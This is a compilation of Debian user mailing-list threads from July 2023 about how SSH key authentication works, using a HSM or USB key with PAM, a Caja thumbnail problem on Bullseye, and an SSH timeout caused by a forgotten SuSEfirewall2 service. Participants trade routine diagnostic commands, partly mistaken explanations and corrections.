>>> Sauf à utiliser un UUID pour le device (ça se fait, je crois).
>> 
>> oui tu mets ce qui va bien avec uuid ou partuid ou label dans /etc/fstab, 
>> avec
>> l'option user, et le client fait un mount du nom du répertoire que tu
>> précise. Par exemple chez moi :
>> 
>> #/dev/sdc1: LABEL_FATBOOT="CLEF" LABEL="CLEF" UUID="CC7E-404F" 
>> BLOCK

Re: Authentification ssh et PAM

[RogerT]

> Le 19 juil. 2023 à 16:32, Michel Verdier  a écrit :
> Le 19 juillet 2023 RogerT a écrit :
> 
>> Pour chiffrer une phrase il suffit de la clef publique. 
>> Pour déchiffrer une phrase il faut la clef privée.
> 
> Non c'est l'inverse. C'est pour ça que seul toi a la privée et que tu
> diffuses la publique à tous ceux qui doivent déchiffrer

Après vérification, et sauf erreur ou omission de ma part, je regrette mais en 
cryptographie asymétrique, seule la clef privée permet de DÉchiffrer. 
Tandis que la clef publique permet à tout le monde de chiffrer un message. 

En cas d’erreur de ma part, je te/vous remercie de m’expliquer en quoi je me 
tromperais alors que c’est le premier cas de figure ultra connu entre Alice et 
Bob pour échanger un secret (chiffré avec la clef publique et déchiffré avec la 
seule clef privée). 

> 
>> Le serveur a seulement la clef publique.  
> 
> Oui, tous les serveurs qui doivent te déchiffrer (= tous ceux sur
> lesquels tu dois te connecter) ont la publique
Le serveur distant a la clef publique que j’y ai copié. Mais pas pour 
déchiffrer. Voir plus haut. Sauf erreur ou omission. 


>> Le client a les deux clefs. 
>> Seul le client peut déchiffrer une phrase chiffrée.
> 
> Non, seul le client peut chiffrer

Tous ceux qui ont la clef publique peuvent chiffrer. 
Et aussi celui qui a seulement la clef privée car elle permet de générer une 
clef publique (je suppose qu’on peut chiffrer aussi avec la clef privée)

> 
>> Comment fait le serveur ssh pour savoir que c’est bien le détenteur de
>> la clef privée qui frappe à la porte ?
> 
> Parce qu'il décode, avec la clef publique, une phrase chiffrée par le
> client avec sa clef privée
Toujours pas d’accord. 
Peut-être as-tu un détail de la séquence entre client et serveur ?


>>> L'idée c'est quand même d'y mettre un mot de passe pour avoir les 2
>>> facteurs d'authentification.
>> Ça enlève l’intérêt d’une authentification rapide.
>> Ou alors il faut un gestionnaire de pwd pour stocker la phrase de passe…
> 
> Tout à fait, c'est à ça que sert kwallet ou gnome-agent ou keepassxc
Keepass[xc], etc.ne sont pas sûrs comme la plupart des gestionnaires de pwd qui 
ont tous déjà été attaqués. Y compris dashlane. Voir divers articles. 

> 
>>> sur le client il faut utiliser le paramètre -i pour utiliser le clef adhoc
>>> ou l'indiquer dans ~/.ssh/config du client. Donc il faut monter ta clef
>>> pour qu'elle soit accessible par le client.
>> Entendu.
>> Modulo le nom du dev /dev/sdb …
>> Sauf à utiliser un UUID pour le device (ça se fait, je crois).
> 
> oui tu mets ce qui va bien avec uuid ou partuid ou label dans /etc/fstab, avec
> l'option user, et le client fait un mount du nom du répertoire que tu
> précise. Par exemple chez moi :
> 
> #/dev/sdc1: LABEL_FATBOOT="CLEF" LABEL="CLEF" UUID="CC7E-404F" 
> BLOCK_SIZE="512" TYPE="vfat" PARTUUID="f42f95e2-01"
> LABEL="CLEF"/media/usb   vfat user,noexec,noauto,noatime,lazytime 
> 0   2
> 
> PARTUUID="42711922-2694-43bd-bf1f-9d6a7fccebec" /media/backup exfat 
> user,noexec,noauto,noatime,lazytime 0       0
> 
> /dev/mmcblk0p1 /media/sd  xfs 
> user,noexec,noauto,rw,noatime,inode64,logbufs=8,logbsize=32k,noquota,lazytime 
> 0 0
Ok. Merci. 


>> Je me dis que pour que le HSM se substitue à moi dans la gestion des clefs, 
>> et
>> aller au-delà d’indiquer le chemin de la clef (avec ssh -i) il faut sans 
>> doute
>> utiliser PAM (d’ailleurs, qui sert aussi à interfacer une authentification
>> LDAP).
> 
> A la base les PAM c'est plutôt pour le local, d'ailleurs sshd appelle les
> PAM pour établir la session. Là ce que tu travailles c'est la
> sécurisation d'une connexion ssh sur le client, donc à priori aucun
> rapport avec les PAM.
> Mais peut-être plutôt avec udev qui peut lancer le ssh qui va bien dès
> que tu insères une clef USB ?

Je ne sais pas trop. 
PAM offre aux applications une interface standard pour l’authentification qui 
permet de s’affranchir du mécanisme sous-jacent. Je suis en train d’étudier 
PAM. 

Re: Authentification ssh et PAM

[Michel Verdier]

Le 19 juillet 2023 RogerT a écrit :

> Pour chiffrer une phrase il suffit de la clef publique. 
> Pour déchiffrer une phrase il faut la clef privée. 

Non c'est l'inverse. C'est pour ça que seul toi a la privée et que tu
diffuses la publique à tous ceux qui doivent déchiffrer

> Le serveur a seulement la clef publique.  

Oui, tous les serveurs qui doivent te déchiffrer (= tous ceux sur
lesquels tu dois te connecter) ont la publique

> Le client a les deux clefs. 
> Seul le client peut déchiffrer une phrase chiffrée. 

Non, seul le client peut chiffrer

> Comment fait le serveur ssh pour savoir que c’est bien le détenteur de
> la clef privée qui frappe à la porte ?

Parce qu'il décode, avec la clef publique, une phrase chiffrée par le
client avec sa clef privée

>> L'idée c'est quand même d'y mettre un mot de passe pour avoir les 2
>> facteurs d'authentification.
> Ça enlève l’intérêt d’une authentification rapide.
> Ou alors il faut un gestionnaire de pwd pour stocker la phrase de passe…

Tout à fait, c'est à ça que sert kwallet ou gnome-agent ou keepassxc

>> sur le client il faut utiliser le paramètre -i pour utiliser le clef adhoc
>> ou l'indiquer dans ~/.ssh/config du client. Donc il faut monter ta clef
>> pour qu'elle soit accessible par le client.
> Entendu.
> Modulo le nom du dev /dev/sdb …
> Sauf à utiliser un UUID pour le device (ça se fait, je crois). 

oui tu mets ce qui va bien avec uuid ou partuid ou label dans /etc/fstab, avec
l'option user, et le client fait un mount du nom du répertoire que tu
précise. Par exemple chez moi :

#/dev/sdc1: LABEL_FATBOOT="CLEF" LABEL="CLEF" UUID="CC7E-404F" BLOCK_SIZE="512" 
TYPE="vfat" PARTUUID="f42f95e2-01"
LABEL="CLEF"/media/usb   vfat user,noexec,noauto,noatime,lazytime 0 
  2

PARTUUID="42711922-2694-43bd-bf1f-9d6a7fccebec" /media/backup exfat 
user,noexec,noauto,noatime,lazytime 0   0

/dev/mmcblk0p1 /media/sd  xfs 
user,noexec,noauto,rw,noatime,inode64,logbufs=8,logbsize=32k,noquota,lazytime   
  0 0

> Je me dis que pour que le HSM se substitue à moi dans la gestion des clefs, et
> aller au-delà d’indiquer le chemin de la clef (avec ssh -i) il faut sans doute
> utiliser PAM (d’ailleurs, qui sert aussi à interfacer une authentification
> LDAP).

A la base les PAM c'est plutôt pour le local, d'ailleurs sshd appelle les
PAM pour établir la session. Là ce que tu travailles c'est la
sécurisation d'une connexion ssh sur le client, donc à priori aucun
rapport avec les PAM.
Mais peut-être plutôt avec udev qui peut lancer le ssh qui va bien dès
que tu insères une clef USB ?

Re: Authentification ssh et PAM

[didier gaumet]

Le 19/07/2023 à 11:26, RogerT a écrit :

Merci beaucoup pour tes pointeurs. Je vais étudier ça.

Le HSM gérera la clef ; ou plutôt il gérera la passphrase de protection 
beaucoup plus courte que la clef elle-même 2048 bits.

En pratique, sais-tu si pour utiliser un HSM on DOIT s’interfacer avec le 
système via PAM ? (Je me dis que oui, car je crois savoir que 
l’authentification par LDAP passe par PAM).
Qui a de l’expérience sur utiliser un HSM via ou sans PAM ?
Merci.


rappel d'avertissement: je suis une tanche en réseau et sécurité, donc 
ne te fie surtout pas à mes suppositions sans te référer à des personnes 
dont tu estimes qu'elles ont une expertise valable et sans étudier avec 
esprit critique les solutions possibles.


J'ai l'*impression* (je suis une tanche) que les bonnes pratiques 
actuellement recommandent l'emploi de PAM au sein d'un groupe de 
solutions lorsqu'il s'agit d'un contexte réseau global (exemple: réseau 
d'une grosse entreprise, par opposition à un réseau d'un particulier 
offrant un unique service quelconque sans que les conséquences soient 
catastrophiques si il y a intrusion dans le réseau) ayant des impératifs 
de sécurité.


Mais j'ai l'*impression* qu'il est possible, même pour un administrateur 
réseau consciencieux et prudent, d'avoir laissé des trous dans sa config 
PAM qui permettent le contournement de PAM.


Donc j'ai l'*impression* aussi qu'il doit être possible de 
volontairement court-circuiter PAM pour employer un HSM, probablement 
dans un but de simplification


Mais j'ai aussi l'*impression* que ce serait potentiellement 
contre-productif puisque le but de PAM me semblant plus ou moins de 
border la sécurité d'accès en général et l'emploi d'un HSM représentant 
un cas d'emploi, ce serait alors potentiellement bizarre de vouloir 
contourner PAM par facilité.


Tu noteras que ça fait beaucoup d'impressions et qu'il ne serait pas 
sage de s'appuyer trop fort là-dessus ;-)


Si tu me permets une suggestion (amicale et d'un ignare du sujet), la 
réponse que t'a faite Michel Verdier par ailleurs pourrait laisser 
penser que comme moi, il s'interroge sur la clarté de tes objectifs 
(qu'est-ce que tu veux faire exactement?), et peut-être pourrais-tu 
essayer de débroussailler le but à atteindre sans dans un premier temps 
envisager les moyens à mettre en oeuvre (ici un HSM) car ça influe sur 
la réflexion


:-)

Re: Authentification ssh et PAM

[RogerT]

Merci beaucoup pour tes pointeurs. Je vais étudier ça.

Le HSM gérera la clef ; ou plutôt il gérera la passphrase de protection 
beaucoup plus courte que la clef elle-même 2048 bits.

En pratique, sais-tu si pour utiliser un HSM on DOIT s’interfacer avec le 
système via PAM ? (Je me dis que oui, car je crois savoir que 
l’authentification par LDAP passe par PAM).  
Qui a de l’expérience sur utiliser un HSM via ou sans PAM ?
Merci. 


> Le 19 juil. 2023 à 10:08, didier gaumet  a écrit :
> 
> je n'y connais rien mais tu peux éventuellement consulter ce qui suit:
> 
> - sur le fonctionnement général de PAM: la vieille doc de kernel.org (The 
> Linux-PAM System Administrators' Guide) n'est plus semble-t-il disponible sur 
> le site d'origine mais on la dtouve encore ailleurs:
> https://beausanders.org/linux_shared_files/Linux-PAM_System_Administrators_Guide.pdf
> la mage man de PAM(8) peut aussi être consultée
> 
> - sur le principe général (avec diagrammes, plus visuels) de l'emploi des 
> smartcards (sous-type de HSM); RedHat propose cette doc:
> https://www.redhat.com/en/blog/consistent-pkcs-11-support-red-hat-enterprise-linux-8
> 
> - sur la configuration particulière nécessaire à cet usage en liaison avec 
> des applis/serveurs, Red Hat propose cette doc:
> https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/security_hardening/configuring-applications-to-use-cryptographic-hardware-through-pkcs-11_security-hardening
> 

Re: Authentification ssh et PAM

[RogerT]

> Le 19 juil. 2023 à 09:05, Michel Verdier  a écrit :
> Le 18 juillet 2023 roger tarani a écrit :
> 
>> Quel est le mécanisme détaillé conduisant à l'authentification de 
>> l'utilisateur par l'hôte distant ? 
>> (la clef privée reste sur l'hôte local ; comment la clef publique et la clef 
>> privée sont-elles liées ? par la création d'un jeton ? ou autre ? )
> 
> La clef publique est indiquée au serveur lors de la demande de connexion.
> Le serveur s'en sert ensuite pour décrypter une phrase cryptée par le
> client avec sa clef privée.

Je ne comprends pas. 
Pour chiffrer une phrase il suffit de la clef publique. 
Pour déchiffrer une phrase il faut la clef privée. 
Le serveur a seulement la clef publique.  
Le client a les deux clefs. 
Seul le client peut déchiffrer une phrase chiffrée. 
Comment fait le serveur ssh pour savoir que c’est bien le détenteur de la clef 
privée qui frappe à la porte ?
Je ne vois que ça : le serveur chiffre une phrase et l’envoie au client qui lui 
retourne déchiffrée. Il compare et constate si le client a su déchiffrer. C’est 
ça ?

>> Stocker la clef privée localement avec pour seule protection des droits 600 
>> me semble léger même si c'est habituel.
> 
> L'idée c'est quand même d'y mettre un mot de passe pour avoir les 2
> facteurs d'authentification.
Ça enlève l’intérêt d’une authentification rapide.
Ou alors il faut un gestionnaire de pwd pour stocker la phrase de passe…

> 
>> Si je décide de stocker la clef privée en dehors de l'hôte local, soit sur 
>> une
>> clef flash déconnectée du réseau (avec ou sans chiffrement), soit carrément
>> sur un HSM, comment dois-je procéder pour qu'elle soit utilisée par le 
>> système
> 
> sur le client il faut utiliser le paramètre -i pour utiliser le clef adhoc
> ou l'indiquer dans ~/.ssh/config du client. Donc il faut monter ta clef
> pour qu'elle soit accessible par le client.
Entendu.
Modulo le nom du dev /dev/sdb …
Sauf à utiliser un UUID pour le device (ça se fait, je crois). 

> 
>> En cherchant, j'ai lu des choses sur PAM que je n'ai jamais pratiqué. 
>> https://linux.goffinet.org/administration/securite-locale/pluggable-authentication-modules-pam/
>>  
>> 
>> Puis-je utiliser ce qui existe (biblio PAM) pour faire communiquer l'hôte 
>> local et le HSM afin de réaliser une authentification ssh ? 
>> Comment faut-il faire ?
> 
> Je ne comprend pas ce que tu cherches à faire ? Tu veux qu'une
> authentification PAM passe par ssh et pas par le login habituel ?
Je me dis que pour que le HSM se substitue à moi dans la gestion des clefs, et 
aller au-delà d’indiquer le chemin de la clef (avec ssh -i) il faut sans doute 
utiliser PAM (d’ailleurs, qui sert aussi à interfacer une authentification 
LDAP).

Re: Authentification ssh et PAM

[didier gaumet]

je n'y connais rien mais tu peux éventuellement consulter ce qui suit:

- sur le fonctionnement général de PAM: la vieille doc de kernel.org 
(The Linux-PAM System Administrators' Guide) n'est plus semble-t-il 
disponible sur le site d'origine mais on la dtouve encore ailleurs:

https://beausanders.org/linux_shared_files/Linux-PAM_System_Administrators_Guide.pdf
la mage man de PAM(8) peut aussi être consultée

- sur le principe général (avec diagrammes, plus visuels) de l'emploi 
des smartcards (sous-type de HSM); RedHat propose cette doc:

https://www.redhat.com/en/blog/consistent-pkcs-11-support-red-hat-enterprise-linux-8

- sur la configuration particulière nécessaire à cet usage en liaison 
avec des applis/serveurs, Red Hat propose cette doc:

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/security_hardening/configuring-applications-to-use-cryptographic-hardware-through-pkcs-11_security-hardening

Re: Authentification ssh et PAM

[Michel Verdier]

Le 18 juillet 2023 roger tarani a écrit :

> Quel est le mécanisme détaillé conduisant à l'authentification de 
> l'utilisateur par l'hôte distant ? 
> (la clef privée reste sur l'hôte local ; comment la clef publique et la clef 
> privée sont-elles liées ? par la création d'un jeton ? ou autre ? ) 

La clef publique est indiquée au serveur lors de la demande de connexion.
Le serveur s'en sert ensuite pour décrypter une phrase cryptée par le
client avec sa clef privée.

> Stocker la clef privée localement avec pour seule protection des droits 600 
> me semble léger même si c'est habituel. 

L'idée c'est quand même d'y mettre un mot de passe pour avoir les 2
facteurs d'authentification.

> Si je décide de stocker la clef privée en dehors de l'hôte local, soit sur une
> clef flash déconnectée du réseau (avec ou sans chiffrement), soit carrément
> sur un HSM, comment dois-je procéder pour qu'elle soit utilisée par le système

sur le client il faut utiliser le paramètre -i pour utiliser le clef adhoc
ou l'indiquer dans ~/.ssh/config du client. Donc il faut monter ta clef
pour qu'elle soit accessible par le client.

> En cherchant, j'ai lu des choses sur PAM que je n'ai jamais pratiqué. 
> https://linux.goffinet.org/administration/securite-locale/pluggable-authentication-modules-pam/
>  
>
> Puis-je utiliser ce qui existe (biblio PAM) pour faire communiquer l'hôte 
> local et le HSM afin de réaliser une authentification ssh ? 
> Comment faut-il faire ? 

Je ne comprend pas ce que tu cherches à faire ? Tu veux qu'une
authentification PAM passe par ssh et pas par le login habituel ?

Re: Authentification ssh et PAM

[RogerT]

Merci. 
Je connais l’usage.

Je voudrais savoir comment fonctionne le mécanisme d’authentification par clefs 
asymétriques permettant de donner l’accès à l’hôte distant. Qui fait quoi. 

Et surtout comment procéder pour utiliser un HSM ou une clef USB où sera 
stockée la clef privée. Et aussi savoir si on doit utiliser PAM, et comment.



> Le 19 juil. 2023 à 00:00, ajh-valmer  a écrit :
> 
> Il suffit de taper 3 mots dans un moteur de recherche :
> www.digitalocean.com/community/tutorials/how-to-configure-ssh-key-based-authentication-on-a-linux-server-fr
> :-)
> 
>> On Tuesday 18 July 2023 18:16:21 roger.tar...@free.fr wrote:
>> Un utilisateur dispose d'une clef ssh privée et d'une clef publique 
>> rangés dans ~/.ssh/ , avec des droits 600.  
>> S'il a copié la clef publique sur un serveur distant, l'agent local
>> saura "lier la clef publique et la privée" pour lui donner accès à l'hôte
>> distant sans besoin de saisir id et pwd.   
>> Classique. 
>> Quel est le mécanisme détaillé conduisant à l'authentification de
>> l'utilisateur par l'hôte distant ?  
>> (la clef privée reste sur l'hôte local ; comment la clef publique et la clef
>> privée sont-elles liées ? par la création d'un jeton ? ou autre ? )  
>> Stocker la clef privée localement avec pour seule protection des droits 600
>> me semble léger même si c'est habituel.  
>> Si je décide de stocker la clef privée en dehors de l'hôte local, soit sur
>> une clef flash déconnectée du réseau (avec ou sans chiffrement), soit
>> carrément sur un HSM, comment dois-je procéder pour qu'elle soit utilisée
>> par le système ?
>> En cherchant, j'ai lu des choses sur PAM que je n'ai jamais pratiqué. 
>> https://linux.goffinet.org/administration/securite-locale/pluggable-authentication-modules-pam/
>>  
>> Puis-je utiliser ce qui existe (biblio PAM) pour faire communiquer l'hôte
>> local et le HSM afin de réaliser une authentification ssh ?  
>> Comment faut-il faire ?
> 

Re: Authentification ssh et PAM

[ajh-valmer]

Il suffit de taper 3 mots dans un moteur de recherche :
www.digitalocean.com/community/tutorials/how-to-configure-ssh-key-based-authentication-on-a-linux-server-fr
:-)

On Tuesday 18 July 2023 18:16:21 roger.tar...@free.fr wrote:
> Un utilisateur dispose d'une clef ssh privée et d'une clef publique 
> rangés dans ~/.ssh/ , avec des droits 600.  
> S'il a copié la clef publique sur un serveur distant, l'agent local
> saura "lier la clef publique et la privée" pour lui donner accès à l'hôte
> distant sans besoin de saisir id et pwd.   
> Classique. 
> Quel est le mécanisme détaillé conduisant à l'authentification de
> l'utilisateur par l'hôte distant ?  
> (la clef privée reste sur l'hôte local ; comment la clef publique et la clef
> privée sont-elles liées ? par la création d'un jeton ? ou autre ? )  
> Stocker la clef privée localement avec pour seule protection des droits 600
> me semble léger même si c'est habituel.  
> Si je décide de stocker la clef privée en dehors de l'hôte local, soit sur
> une clef flash déconnectée du réseau (avec ou sans chiffrement), soit
> carrément sur un HSM, comment dois-je procéder pour qu'elle soit utilisée
> par le système ?
> En cherchant, j'ai lu des choses sur PAM que je n'ai jamais pratiqué. 
>https://linux.goffinet.org/administration/securite-locale/pluggable-authentication-modules-pam/
> 
> Puis-je utiliser ce qui existe (biblio PAM) pour faire communiquer l'hôte
> local et le HSM afin de réaliser une authentification ssh ?  
> Comment faut-il faire ?

Authentification ssh et PAM

[roger . tarani]

Bonjour, 

Un utilisateur dispose d'une clef ssh privée et d'une clef publique rangés dans 
~/.ssh/ , avec des droits 600. 
S'il a copié la clef publique sur un serveur distant, l'agent local saura "lier 
la clef publique et la privée" pour lui donner accès à l'hôte distant sans 
besoin de saisir id et pwd. 
Classique. 

Quel est le mécanisme détaillé conduisant à l'authentification de l'utilisateur 
par l'hôte distant ? 
(la clef privée reste sur l'hôte local ; comment la clef publique et la clef 
privée sont-elles liées ? par la création d'un jeton ? ou autre ? ) 

Stocker la clef privée localement avec pour seule protection des droits 600 me 
semble léger même si c'est habituel. 

Si je décide de stocker la clef privée en dehors de l'hôte local, soit sur une 
clef flash déconnectée du réseau (avec ou sans chiffrement), soit carrément sur 
un HSM, comment dois-je procéder pour qu'elle soit utilisée par le système ? 

En cherchant, j'ai lu des choses sur PAM que je n'ai jamais pratiqué. 
https://linux.goffinet.org/administration/securite-locale/pluggable-authentication-modules-pam/
 

Puis-je utiliser ce qui existe (biblio PAM) pour faire communiquer l'hôte local 
et le HSM afin de réaliser une authentification ssh ? 
Comment faut-il faire ? 

Merci. 

Re: Bullseye upgrade - Mate desktop - Caja - por ssh no previsualiza jpg ni png.

[jacsenred]

Hola a tod@s!

Pues nada... como no daba con la solucion del asunto, hice esto:

# nano /etc/apt/sources.list

Agrego los repositorios de Bookworm...
Comento los de Bullseye (#)...

# apt-get update
# apt-get install --reinstall caja

Me dice que tengo que actualizar todos estos paquetes:
binutils binutils-common binutils-x86-64-linux-gnu caja caja-common 
gnome-keyring gvfs gvfs-backends gvfs-common gvfs-daemons gvfs-libs libbinutils 
libc-bin libc-dev-bin libc-l10n libc6 libc6-dev libcaja-extension1 
libctf-nobfd0 libctf0 libgcrypt20 libgdata22 libglib2.0-0 libglib2.0-bin 
libjansson4 libnghttp2-14 libzstd1 locales

Le digo que actualice... finaliza, y todo correcto.

Posteriormente, hago esto:

# nano /etc/apt/sources.list

Elimino los repositorios de Bookworm.
Descomento los de Bullseye...

# apt-get update
# apt-get upgrade

Parece que vuelvo a estar en odlstable y que todo va bien.

Compruebo si se previsualizan las imagenes... ""Y ahora lo hace correctamente"".

Pero empiezo a ver como por los costados de la pantalla, al portatil le 
empiezan a salir un par de tornillos bastante, bastante gordos... X-)
Ahora tengo un Frankenstein rulando... Y me apetece matarlo y revertir todo a 
oldstable (Bullseye).

# apt-get install --reinstall binutils binutils-common 
binutils-x86-64-linux-gnu caja caja-common gnome-keyring gvfs gvfs-backends 
gvfs-common gvfs-daemons gvfs-libs libbinutils libc-bin libc-dev-bin libc-l10n 
libc6 libc6-dev libcaja-extension1 libctf-nobfd0 libctf0 libgcrypt20 libgdata22 
libglib2.0-0 libglib2.0-bin libjansson4 libnghttp2-14 libzstd1 locales

Y alguna libreria me impide downgradear...
Lo hice el Viernes pasado y despues del fin de semana ya no recuerdo cual o 
cuales son exactamente... Casi seguro que libc6 es una de ellas... pero no lo 
se!

Hoy intento reinstalar caja y me dice que naranjas hay en la china!

# apt-get install --reinstall caja

No es posible reinstalar el paquete caja, no se pudo descargar... Zasca! 8-(

Pues na... Que se va a quedar asi hasta que me apetezca o pueda reinstalar el 
sistema desde cero.

Por cierto, no quiero upgradear a bookworm... en una live con mate que probe al 
poco tiempo de lanzarse me dio la sensacion como que venia instalado Wayland 
como servidor grafico por defeto y mate tenia algun problema...
O como si algunas aplicaciones (entre ellas caja) se hubiesen reemplazado por 
las de gnome... que por cierto, no me gustan nada, nada!

Venga, gracias, que no os doy mas la chapa ya!

Happy hacking y un saludo de nuevo a tod@s!

Ah! que se me pasaba, antes de subir a stable (Bookworm) intente bajar a 
Buster, pero los repos de Buster ya no disponen de soporte para caja...

X-)

--- Original Message ---
El jueves, 13 de julio de 2023 a las 18:22, jacsenred 
 escribió:

>> El 2023-07-10 a las 22:57 +, jacsenred escribió:
>
>> Si antes te funcionaba y ahora no, la única diferencia parece el cambio
>> de versiones tras actualizar el sistema. Es raro, sí...
>
> Seguramente sea algo en la configuracion de caja, en $home/.config
> Si encuentro la solucion la posteare.
>
>> Mira ver qué sucede con ssh (esto funcionará siempre y cuando en el
>> servidor tengas un entono gráfico instalado con Mate, si no es así,
>> descártalo).
>>
>> Desde el cliente, lanza una terminal gráfica y ejecuta:
>> ssh -X usuario_remoto@IP
>>
>> Y una vez dentro, ejecuta Caja, a ver si carga las miniaturas.
>
> Si, he probado, pero caja no se abre...
> Sin embargo pluma y/o xclock si lo hacen.
>
>> Y en local supongo que te funciona sin problemas ¿no?
>
> Si, efectivamente, en local no hay problema.
>
>> > Me sucede que al loguearme en un primer momento en el TTY1, 2, 3, etc. no 
>> > me carga el .bashrc.
>> > Pasa tanto como root o como usuario.
>> >
>> > Eso si, si despues de logearme como usuario o como root lanzo una sesion 
>> > embebida... ($su user) entonces ahora si lo carga!
>>
>> Mira a ver si se trata de un intérprete de inicio de sesión o no.
>> Una vez dentro, ejecuta:
>>
>> echo $0
>>
>> Dependiendo del tipo de shell que hayas iniciado, leerá el archivo
>> bashrc o profile en primer lugar.
>
> Esto ya esta solucionado.
> Me habia cepillado los archivo .profile, los he recuperado y ya esta 
> solucionado.
>
> Saludos a tod@s!
> Y muchas gracias de nuevo Camaleon!

Re: Unable to ssh to Debian 9 from 9 or 11

[Roger Price]

On Mon, 17 Jul 2023, to...@tuxteam.de wrote:


On Sun, Jul 16, 2023 at 03:21:06PM -0400, Timothy M Butterworth wrote:

Do you have TCP wrappers installed and running? Please post the output

of: `less /etc/hosts.allow` `less /etc/hosts.deny`


tcpwrappers would lead to a connection refused, not a timeout.


Confirmed.  File /etc/hosts.allow contains nothing but comments, and file 
/etc/hosts.deny doesn't exist.


Roger

Re: Unable to ssh to Debian 9 from 9 or 11

[tomas]

On Sun, Jul 16, 2023 at 03:21:06PM -0400, Timothy M Butterworth wrote:

[...]

> Do you have TCP wrappers installed and running? Please post the output
> of: `less
> /etc/hosts.allow` `less /etc/hosts.deny`

tcpwrappers would lead to a connection refused, not a timeout.

Cheers
-- 
t


signature.asc
Description: PGP signature

Re: Unable to ssh to Debian 9 from 9 or 11

[Timothy M Butterworth]

On Sat, Jul 15, 2023 at 4:32 PM Roger Price  wrote:

> On Sat, 15 Jul 2023, to...@tuxteam.de wrote:
>
> > @Roger: what does "sudo ss -antp" (or "netstat -antp") say? Is sshd
> > listening on 0.0.0.0:22? Then it's firewall, otherwise (not very
> > probable,but hey) it's sshd config.
>
> Here is netstat -antp on one of the Debian 9 machines where I am currently
> logged in locally as root via ssh.
>
>   Active Internet connections (servers and established)
>   Proto Recv-Q Send-Q Local AddressForeign Address   State
>  PID/Program name
>   tcp0  0 0.0.0.0:22   0.0.0.0:* LISTEN
> 521/sshd
>   tcp0  0 127.0.0.1:6310.0.0.0:* LISTEN
> 4578/cupsd
>   tcp0  0 127.0.0.1:22 127.0.0.1:50124   ESTABLISHED
> 2905/sshd: root@pts
>   tcp0  0 127.0.0.1:50124  127.0.0.1:22  ESTABLISHED
> 2903/ssh
>
> Roger
>

Do you have TCP wrappers installed and running? Please post the output
of: `less
/etc/hosts.allow` `less /etc/hosts.deny`

--
⢀⣴⠾⠻⢶⣦⠀
⣾⠁⢠⠒⠀⣿⡁ Debian - The universal operating system
⢿⡄⠘⠷⠚⠋⠀ https://www.debian.org/
⠈⠳⣄⠀⠀

Re: Unable to ssh to Debian 9 from 9 or 11

[Roger Price]

On Sun, 16 Jul 2023, Anssi Saari wrote:


Roger Price  writes:

Does the style of comment give a clue to the tool used ?

Earlier you posted a list of firewall rules like this:

iptables -L -n --line-numbers reports

Chain INPUT (policy ACCEPT)
 num  targetprot opt source destination
  1ufw-before-logging-input  all  --  0.0.0.0/0  0.0.0.0/0

So I would guess ufw.


That's what I thought, but there is no ufw in this Debian 9 machine.  So I had 
to do some archaeology.


It took me a while to discover that long ago this machine ran openSuSE 12.2 and 
was directly attached to the internet, so it ran a modification of the openSuSE 
firewall.  The machine was then migrated to Debian and placed behind a box 
supplied by the internet provider, but it kept running the openSuSE firewall.


 root@kananga ~ systemctl is-enabled SuSEfirewall2
 enabled

The years have gone by. It's still running on Debian 9!. I stopped it with

 root@kananga ~ systemctl disable SuSEfirewall2
 Removed /etc/systemd/system/SuSEfirewall2_setup.service.
 Removed /etc/systemd/system/multi-user.target.wants/SuSEfirewall2.service.
 Removed /etc/systemd/system/multi-user.target.wants/SuSEfirewall2_init.service.
 root@kananga ~ systemctl stop SuSEfirewall2

 root@kananga ~ systemctl is-enabled SuSEfirewall2
 disabled

I then recycled the machine, power off, power on, and I can now ssh into this 
Debian 9 machine from Debian 11 :-) , so I have a permanent solution.


My thanks to all who participated in the discussion,  Roger

Re: Unable to ssh to Debian 9 from 9 or 11

[Anssi Saari]

Roger Price  writes:

> Does the style of comment give a clue to the tool used ?

Earlier you posted a list of firewall rules like this:

 iptables -L -n --line-numbers reports

 Chain INPUT (policy ACCEPT)
  num  targetprot opt source destination
   1ufw-before-logging-input  all  --  0.0.0.0/0  0.0.0.0/0
   2ufw-before-input  all  --  0.0.0.0/0  0.0.0.0/0
   3ufw-after-input   all  --  0.0.0.0/0  0.0.0.0/0
   4ufw-after-logging-input   all  --  0.0.0.0/0  0.0.0.0/0
   5ufw-reject-input  all  --  0.0.0.0/0  0.0.0.0/0
   6ufw-track-input   all  --  0.0.0.0/0  0.0.0.0/0

So I would guess ufw.

Re: Unable to ssh to Debian 9 from 9 or 11

[Klaus Singvogel]

Roger Price wrote:
> After the restart, I tried to ssh from Debian 11 to that Debian 9 machine
> 
>  rprice@titan ~ ssh -v rprice@kananga
>  ssh: connect to host kananga port 22: Connection timed out
> 
> So it's something else?  Roger

Sorry, but I didn't follow the whole thread complete. Maybe parts of this were 
already asked...

• Can you check on the host kananga, if sshd is running and really listening on 
port 22?

  Can you (as root) on host kanaga, and send us the output:

lsof -P -i -n | grep ssh | grep root | grep LISTEN

  Check especially, if ssh is listening for all hosts (indicated by an asterisk 
'*')?

• Can you check, if there are no Firewall restrictions for Port 22 on host 
kanaga:

  Do as root:

iptables -L -n | grep dpt:22

• Check, if there are no Firewall restrictions regarding the host on host 
kanaga for your host titan:

  Do as root:

for i in `host titan | awk '{print $NF}'` ; do iptables -L -n | grep $i 
; done

• Finally, if you didn't get the answer yet, check on host titan, what ssh is 
really doing, with lots of more verbose messages:

ssh -vvv rprice@kananga date

Thanks.

Best regards,
Klaus.
-- 
Klaus Singvogel
GnuPG-Key-ID: 1024R/5068792D  1994-06-27

Re: Unable to ssh to Debian 9 from 9 or 11

[Nicolas George]

mick.crane (12023-07-16):
> I'd compare the public key of you at 11 to what's in the authorized_keys on
> 9.
> and what's in known_hosts.
> and what's in the sshd config file on 9 about "Listen"
> after that I dunno.

Oh, please stop. The symptoms do not point to issues with the key AT ALL
and the issue has been fixed for hours anyway.

-- 
  Nicolas George


signature.asc
Description: PGP signature

Re: Unable to ssh to Debian 9 from 9 or 11

[mick.crane]

On 2023-07-16 10:53, Roger Price wrote:

On Sun, 16 Jul 2023, mick.crane wrote:


did you try to ssh to the ip address?
I vaguely remember something to do with the keys where I could ssh by 
number but not name.


I ssh from Debian 11 to Debian 9 :

 rprice@titan ~ ssh rprice@192.168.1.13
 ssh: connect to host 192.168.1.13 port 22: Connection timed out

Roger
I'd compare the public key of you at 11 to what's in the authorized_keys 
on 9.

and what's in known_hosts.
and what's in the sshd config file on 9 about "Listen"
after that I dunno.
mick

Re: Unable to ssh to Debian 9 from 9 or 11

[Roger Price]

On Sun, 16 Jul 2023, mick.crane wrote:


